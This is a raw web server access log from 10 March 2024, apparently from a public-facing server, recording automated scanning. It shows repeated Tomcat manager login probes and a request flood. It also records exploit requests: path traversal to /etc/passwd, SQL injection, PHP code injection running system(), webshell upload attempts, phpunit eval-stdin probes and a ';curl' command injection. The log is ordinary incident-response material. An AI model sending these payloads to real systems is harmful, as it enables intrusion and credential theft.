41.186.73.134 - - [10/Mar/2024:00:00:12 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:00:00:16 -0300] "GET /../../etc/passwd HTTP/1.1" 400 - 41.186.73.134 - - [10/Mar/2024:00:04:12 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:00:08:03 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:00:10:02 -0300] "POST /filemanager/upload.php HTTP/1.1" 404 1005 41.186.73.134 - - [10/Mar/2024:00:11:49 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:00:15:55 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:00:16:34 -0300] "GET /forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 HTTP/1.1" 404 1007 13.234.226.222 - - [10/Mar/2024:00:16:34 -0300] "GET /boards/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 HTTP/1.1" 404 1021 13.234.226.222 - - [10/Mar/2024:00:16:35 -0300] "GET /board/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 HTTP/1.1" 404 1019 13.234.226.222 - - [10/Mar/2024:00:16:36 -0300] "GET /forum/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 HTTP/1.1" 404 1019 13.234.226.222 - - [10/Mar/2024:00:16:36 -0300] "GET /forums/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 HTTP/1.1" 404 1021 13.234.226.222 - - [10/Mar/2024:00:16:37 -0300] "GET /vb/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 HTTP/1.1" 404 1013 13.234.226.222 - - [10/Mar/2024:00:17:41 -0300] "GET /webui/file_guest?path=/var/www/documentation/../../../../../etc/passwd&flags=1152 HTTP/1.1" 404 993 41.186.73.134 - - [10/Mar/2024:00:19:51 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:00:23:36 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:00:27:40 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:00:30:46 -0300] "GET / HTTP/1.1" 200 11217 13.234.226.222 - - [10/Mar/2024:00:30:47 -0300] "GET /cgi-bin/status HTTP/1.1" 404 989 13.234.226.222 - - [10/Mar/2024:00:30:47 -0300] "GET /cgi-bin/stats HTTP/1.1" 404 987 13.234.226.222 - - [10/Mar/2024:00:30:48 -0300] "GET /cgi-bin/test HTTP/1.1" 404 985 13.234.226.222 - - [10/Mar/2024:00:30:49 -0300] "GET /cgi-bin/status/status.cgi HTTP/1.1" 404 1011 13.234.226.222 - - [10/Mar/2024:00:30:49 -0300] "GET /test.cgi HTTP/1.1" 404 977 13.234.226.222 - - [10/Mar/2024:00:30:50 -0300] "GET /debug.cgi HTTP/1.1" 404 979 13.234.226.222 - - [10/Mar/2024:00:30:51 -0300] "GET /cgi-bin/test-cgi HTTP/1.1" 404 993 41.186.73.134 - - [10/Mar/2024:00:31:33 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:00:35:14 -0300] "GET /manager/html HTTP/1.1" 401 2474 112.46.68.221 - - [10/Mar/2024:00:37:17 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:18 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:19 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:20 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:21 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:21 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:22 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:23 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:24 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:25 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:26 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:27 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:28 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:29 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:29 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:30 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:31 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:32 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:33 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:34 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:35 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:35 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:36 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:37 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:38 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:39 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:40 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:41 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:42 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:43 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:43 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:44 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:45 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:46 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:47 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:48 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:49 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:50 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:51 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:51 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:52 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:53 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:54 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:55 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:56 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:57 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:58 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:59 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:37:59 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:00 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:01 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:02 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:03 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:04 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:05 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:06 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:06 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:07 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:08 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:09 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:10 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:11 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:12 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:13 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:13 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:14 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:15 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:16 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:17 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:18 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:19 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:20 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:20 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:21 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:22 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:23 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:24 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:25 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:26 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:27 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:28 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:29 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:30 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:31 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:32 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:33 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:34 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:35 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:36 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:36 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:37 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:38 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:39 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:40 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:41 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:42 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:43 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:43 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:44 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:45 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:46 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:47 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:48 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:49 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:50 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:50 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:51 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:52 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:53 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:54 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:55 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:56 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:57 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:58 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:58 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:38:59 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:39:00 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:39:01 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:39:02 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:39:03 -0300] "GET / HTTP/1.1" 400 - 112.46.68.221 - - [10/Mar/2024:00:39:05 -0300] "GET / HTTP/1.1" 400 - 41.186.73.134 - - [10/Mar/2024:00:39:13 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:00:43:08 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:00:46:53 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:00:50:51 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:00:54:40 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:00:58:28 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:01:02:29 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:01:06:26 -0300] "GET /manager/html HTTP/1.1" 401 2474 217.198.212.162 - - [10/Mar/2024:01:07:01 -0300] "POST /goform/set_LimitClient_cfg HTTP/1.1" 400 - 41.186.73.134 - - [10/Mar/2024:01:10:07 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:01:14:06 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:01:16:10 -0300] "POST /wp-admin/admin-ajax.php HTTP/1.1" 404 1007 41.186.73.134 - - [10/Mar/2024:01:18:01 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:01:18:13 -0300] "POST /upload HTTP/1.1" 404 973 41.186.73.134 - - [10/Mar/2024:01:21:43 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:01:21:49 -0300] "GET /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27 HTTP/1.1" 404 997 13.234.226.222 - - [10/Mar/2024:01:21:49 -0300] "GET /wp-content/plugins/wechat-broadcast/wechat/Image.php?url=../../../../../../../../../../etc/passwd HTTP/1.1" 404 1065 13.234.226.222 - - [10/Mar/2024:01:21:50 -0300] "GET /blast/nph-viewgif.cgi?../../../../etc/passwd HTTP/1.1" 404 1003 13.234.226.222 - - [10/Mar/2024:01:21:59 -0300] "POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1" 404 1087 13.234.226.222 - - [10/Mar/2024:01:22:00 -0300] "GET /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/2dSPNngRfrhp74iuu5JIiX3KlQv.jsp HTTP/1.1" 404 1157 41.186.73.134 - - [10/Mar/2024:01:25:40 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:01:27:07 -0300] "POST /web/google_analytics.php HTTP/1.1" 404 1009 13.234.226.222 - - [10/Mar/2024:01:29:27 -0300] "GET /theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd HTTP/1.1" 400 - 41.186.73.134 - - [10/Mar/2024:01:29:39 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:01:31:59 -0300] "GET /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd HTTP/1.1" 404 1005 41.186.73.134 - - [10/Mar/2024:01:33:25 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:01:33:42 -0300] "POST /modules/1attributewizardpro/file_upload.php HTTP/1.1" 404 1047 13.234.226.222 - - [10/Mar/2024:01:33:42 -0300] "POST /modules/attributewizardpro_x/file_upload.php HTTP/1.1" 404 1049 13.234.226.222 - - [10/Mar/2024:01:33:42 -0300] "POST /modules/attributewizardpro/file_upload.php HTTP/1.1" 404 1045 13.234.226.222 - - [10/Mar/2024:01:33:42 -0300] "POST /modules/attributewizardpro.OLD/file_upload.php HTTP/1.1" 404 1053 41.186.73.134 - - [10/Mar/2024:01:37:29 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:01:41:28 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:01:46:55 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:01:48:33 -0300] "GET /plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent="%20UNION%20SELECT%20NULL,NULL,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION(),md5(999999999)),NULL,NULL,NULL,NULL,NULL--%20aa HTTP/1.1" 404 1083 41.186.73.134 - - [10/Mar/2024:01:51:10 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:01:51:15 -0300] "POST /account HTTP/1.1" 404 975 13.234.226.222 - - [10/Mar/2024:01:51:15 -0300] "POST /account HTTP/1.1" 404 975 41.186.73.134 - - [10/Mar/2024:01:55:03 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:01:58:52 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:02:03:13 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:02:07:09 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:02:11:05 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:02:15:22 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:02:19:20 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:02:23:07 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:02:27:10 -0300] "GET /manager/html HTTP/1.1" 401 2474 205.210.31.237 - - [10/Mar/2024:02:30:15 -0300] "GET / HTTP/1.0" 200 11197 41.186.73.134 - - [10/Mar/2024:02:31:12 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:02:35:14 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:02:39:24 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:02:43:27 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:02:47:51 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:02:50:32 -0300] "GET /manage/webshell/u?s=5&w=218&h=15&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=62&_=5621298674064 HTTP/1.1" 404 995 13.234.226.222 - - [10/Mar/2024:02:50:32 -0300] "GET /manage/webshell/u?s=5&w=218&h=15&k=%0a&l=62&_=5621298674064 HTTP/1.1" 404 995 41.186.73.134 - - [10/Mar/2024:02:51:52 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:02:55:49 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:02:59:42 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:03:02:58 -0300] "GET /enginemanager/server/logs/download?logType=error&logName=../../../../../../../../etc/passwd&logSource=engine HTTP/1.1" 404 1029 41.186.73.134 - - [10/Mar/2024:03:03:45 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:03:07:41 -0300] "GET /manager/html HTTP/1.1" 401 2474 167.94.138.125 - - [10/Mar/2024:03:09:47 -0300] "GET / HTTP/1.1" 200 11217 167.94.138.125 - - [10/Mar/2024:03:09:51 -0300] "GET / HTTP/1.1" 200 11217 167.94.138.125 - - [10/Mar/2024:03:09:51 -0300] "PRI * HTTP/2.0" 505 - 167.94.138.125 - - [10/Mar/2024:03:09:52 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 41.186.73.134 - - [10/Mar/2024:03:11:28 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:03:15:31 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:03:19:26 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:03:23:11 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:03:27:13 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:03:31:08 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:03:34:54 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:03:39:07 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:03:43:05 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:03:46:55 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:03:49:45 -0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 1061 13.234.226.222 - - [10/Mar/2024:03:49:46 -0300] "GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 1069 13.234.226.222 - - [10/Mar/2024:03:49:47 -0300] "GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 1077 13.234.226.222 - - [10/Mar/2024:03:49:47 -0300] "GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 1081 13.234.226.222 - - [10/Mar/2024:03:49:48 -0300] "GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 1069 13.234.226.222 - - [10/Mar/2024:03:49:49 -0300] "GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 1071 41.186.73.134 - - [10/Mar/2024:03:50:56 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:03:52:43 -0300] "GET / HTTP/1.1" 200 11217 13.234.226.222 - - [10/Mar/2024:03:52:44 -0300] "GET / HTTP/1.1" 200 11217 41.186.73.134 - - [10/Mar/2024:03:54:52 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:03:58:42 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:03:59:39 -0300] "POST /wp-content/plugins/wp-payeezy-pay/donate.php HTTP/1.1" 404 1049 41.186.73.134 - - [10/Mar/2024:04:02:46 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:04:06:45 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:04:10:34 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:04:12:55 -0300] "GET /anchor/errors.log HTTP/1.1" 404 995 13.234.226.222 - - [10/Mar/2024:04:13:37 -0300] "POST /soap.cgi?service=whatever-control;curl HTTP/1.1" 404 977 41.186.73.134 - - [10/Mar/2024:04:14:38 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:04:15:32 -0300] "GET /user/scripts/login_par.js HTTP/1.1" 404 1011 13.234.226.222 - - [10/Mar/2024:04:16:47 -0300] "POST /php/upload.php HTTP/1.1" 404 989 13.234.226.222 - - [10/Mar/2024:04:16:48 -0300] "GET /Uploads/2dSPNf2liLWDhLM9oapsWZlCjyp.php7 HTTP/1.1" 404 1041 13.234.226.222 - - [10/Mar/2024:04:18:00 -0300] "GET /modules/bamegamenu/ajax_phpcode.php?code=print(md5(999999999)) HTTP/1.1" 404 1031 13.234.226.222 - - [10/Mar/2024:04:18:22 -0300] "POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1" 404 987 41.186.73.134 - - [10/Mar/2024:04:18:35 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:04:21:14 -0300] "GET /device.rsp?opt=user&cmd=list HTTP/1.1" 404 981 13.234.226.222 - - [10/Mar/2024:04:21:38 -0300] "GET /Admin HTTP/1.1" 404 971 41.186.73.134 - - [10/Mar/2024:04:22:22 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:04:24:35 -0300] "GET /?id=CWc6M8%25{128*128} HTTP/1.1" 200 11217 41.186.73.134 - - [10/Mar/2024:04:26:23 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:04:29:59 -0300] "POST /CMSPages/Staging/SyncServer.asmx/ProcessSynchronizationTaskData HTTP/1.1" 404 1087 41.186.73.134 - - [10/Mar/2024:04:30:24 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:04:34:15 -0300] "GET /manager/html HTTP/1.1" 401 2474 146.196.121.75 - - [10/Mar/2024:04:35:41 -0300] "GET / HTTP/1.1" 200 11217 41.186.73.134 - - [10/Mar/2024:04:38:16 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:04:42:16 -0300] "GET /manager/html HTTP/1.1" 401 2474 34.23.213.123 - - [10/Mar/2024:04:42:23 -0300] "GET /robots.txt HTTP/1.0" 404 981 34.23.213.123 - - [10/Mar/2024:04:42:23 -0300] "GET /cormun/servlet/hlogin HTTP/1.0" 200 1708 13.234.226.222 - - [10/Mar/2024:04:44:39 -0300] "GET /?rest_route=/wpgmza/v1/markers&filter=%7b%7d&fields=%2a%20from%20wp_users--%20- HTTP/1.1" 200 11217 41.186.73.134 - - [10/Mar/2024:04:46:05 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:04:50:08 -0300] "GET /manager/html HTTP/1.1" 401 2474 80.66.88.204 - - [10/Mar/2024:04:51:14 -0300] "/*àCookie: mstshash=Administr " 400 - 41.186.73.134 - - [10/Mar/2024:04:54:06 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:04:57:55 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:05:01:58 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:05:06:03 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:05:09:52 -0300] "POST /wp-admin/options-general.php?page=smartcode HTTP/1.1" 404 1017 13.234.226.222 - - 